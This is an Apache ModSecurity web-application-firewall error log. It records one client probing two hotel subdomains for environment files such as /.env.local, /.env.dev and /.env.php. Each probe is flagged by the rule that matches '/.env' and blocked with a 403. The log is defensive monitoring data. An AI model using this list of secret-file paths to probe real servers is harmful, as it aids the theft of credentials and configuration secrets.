[Mon Oct 26 08:36:22.879035 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at9JRg9c_Zz9LocrxF9eowAAAAU"]
[Mon Oct 26 08:36:22.879318 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at9JRg9c_Zz9LocrxF9eowAAAAU"]
[Mon Oct 26 08:36:22.879342 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9JRp_dbg3ptBnwDgQ5FwAAAAM"]
[Mon Oct 26 08:36:22.880061 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9JRnT09R7Np-FQ85dj0AAAAAo"]
[Mon Oct 26 08:36:22.880253 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9JRnT09R7Np-FQ85dj0AAAAAo"]
[Mon Oct 26 08:36:22.880528 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9JRnT09R7Np-FQ85dj0AAAAAo"]
[Mon Oct 26 08:36:22.884734 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at9JRntuNRyqJbUWH7Jv5wAAAAQ"]
[Mon Oct 26 08:36:22.884925 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at9JRntuNRyqJbUWH7Jv5wAAAAQ"]
[Mon Oct 26 08:36:22.885182 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at9JRntuNRyqJbUWH7Jv5wAAAAQ"]
[Mon Oct 26 08:36:22.888984 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9JRk3DiqOFJPXX6P43nwAAABM"]
[Mon Oct 26 08:36:22.889123 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9JRk3DiqOFJPXX6P43nwAAABM"]
[Mon Oct 26 08:36:22.889355 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9JRk3DiqOFJPXX6P43nwAAABM"]
[Mon Oct 26 08:36:22.896298 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.int"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at9JRgsj78QLlrBrm-444gAAAAc"]
[Mon Oct 26 08:36:22.896454 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at9JRgsj78QLlrBrm-444gAAAAc"]
[Mon Oct 26 08:36:22.896668 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at9JRgsj78QLlrBrm-444gAAAAc"]
[Mon Oct 26 08:36:22.913559 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9JRnhYESb98d-GXViKlgAAAAs"]
[Mon Oct 26 08:36:22.913727 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9JRnhYESb98d-GXViKlgAAAAs"]
[Mon Oct 26 08:36:22.914017 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9JRnhYESb98d-GXViKlgAAAAs"]
[Mon Oct 26 08:36:22.922172 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9JRhA_yAFS6UHz-l1VPgAAAA0"]
[Mon Oct 26 08:36:22.922319 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9JRhA_yAFS6UHz-l1VPgAAAA0"]
[Mon Oct 26 08:36:22.922556 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9JRhA_yAFS6UHz-l1VPgAAAA0"]
[Mon Oct 26 08:36:22.958537 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9JRnT09R7Np-FQ85dj0QAAAAo"]
[Mon Oct 26 08:36:22.958733 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9JRnT09R7Np-FQ85dj0QAAAAo"]
[Mon Oct 26 08:36:22.958999 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at9JRnT09R7Np-FQ85dj0QAAAAo"]
[Mon Oct 26 08:36:22.960613 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9JRg9c_Zz9LocrxF9epAAAAAU"]
[Mon Oct 26 08:36:22.960753 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9JRg9c_Zz9LocrxF9epAAAAAU"]
[Mon Oct 26 08:36:22.961014 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9JRg9c_Zz9LocrxF9epAAAAAU"]
[Mon Oct 26 08:36:22.962047 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at9JRp_dbg3ptBnwDgQ5GAAAAAM"]
[Mon Oct 26 08:36:22.962193 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at9JRp_dbg3ptBnwDgQ5GAAAAAM"]
[Mon Oct 26 08:36:22.962405 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker.dev"] [unique_id "at9JRp_dbg3ptBnwDgQ5GAAAAAM"]
[Mon Oct 26 08:36:22.964336 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.int"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at9JRntuNRyqJbUWH7Jv6AAAAAQ"]
[Mon Oct 26 08:36:22.964471 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at9JRntuNRyqJbUWH7Jv6AAAAAQ"]
[Mon Oct 26 08:36:22.964681 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at9JRntuNRyqJbUWH7Jv6AAAAAQ"]
[Mon Oct 26 08:36:22.971922 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9JRk3DiqOFJPXX6P43oAAAABM"]
[Mon Oct 26 08:36:22.972061 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9JRk3DiqOFJPXX6P43oAAAABM"]
[Mon Oct 26 08:36:22.972386 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9JRk3DiqOFJPXX6P43oAAAABM"]
[Mon Oct 26 08:36:22.979977 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at9JRgsj78QLlrBrm-444wAAAAc"]
[Mon Oct 26 08:36:22.980102 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at9JRgsj78QLlrBrm-444wAAAAc"]
[Mon Oct 26 08:36:22.980316 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at9JRgsj78QLlrBrm-444wAAAAc"]
